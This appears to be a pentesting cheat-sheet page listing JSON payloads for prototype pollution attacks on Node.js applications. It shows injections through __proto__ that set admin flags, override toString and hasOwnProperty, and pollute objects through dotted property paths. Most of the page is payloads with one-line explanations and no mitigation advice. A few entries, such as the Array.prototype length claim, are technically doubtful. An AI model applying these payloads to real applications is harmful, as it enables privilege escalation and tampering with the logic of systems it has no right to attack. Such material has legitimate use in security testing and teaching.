Prototype Pollution
Affects Node.js
Payloads
The most straightforward example of prototype pollution involves injecting the
__proto__
property, which affects all objects that inherit fromObject.prototype
.This example adds the
isUserAdmin
property to the prototype chain:
{
"__proto__": {
"isUserAdmin": true
}
}
Also, you can directly manipulate the
Object.prototype
by modifying the__proto__
property. This could be done in objects passed to vulnerable code:
{
"__proto__": {
"toString": "malicious code"
}
}
If the application allows you to define properties via paths (e.g.,
obj.a.b
):
{
"a.b.__proto__.isHacked": true
}
The
constructor
property is part of the prototype chain for JavaScript objects:
{
"__proto__.constructor": "MaliciousFunction"
}
The
hasOwnProperty
method is often used to check if an object has a property, but it can be overridden in the prototype:
{
"__proto__.hasOwnProperty": false
}
If an attacker can manipulate built-in objects' prototypes (like
Array.prototype
orFunction.prototype
), they could affect the behavior of all instances of those types:
{
"__proto__.length": 1000
}
If the application uses a templating engine and allows user input to be rendered without sanitization, an attacker might inject a prototype pollution payload directly via the template:
{
"__proto__": {
"isAdmin": true
}
}
You can directly inject properties into the prototype of custom classes or objects:
{
"customObjectPrototype.isHacked": true
}
Last updated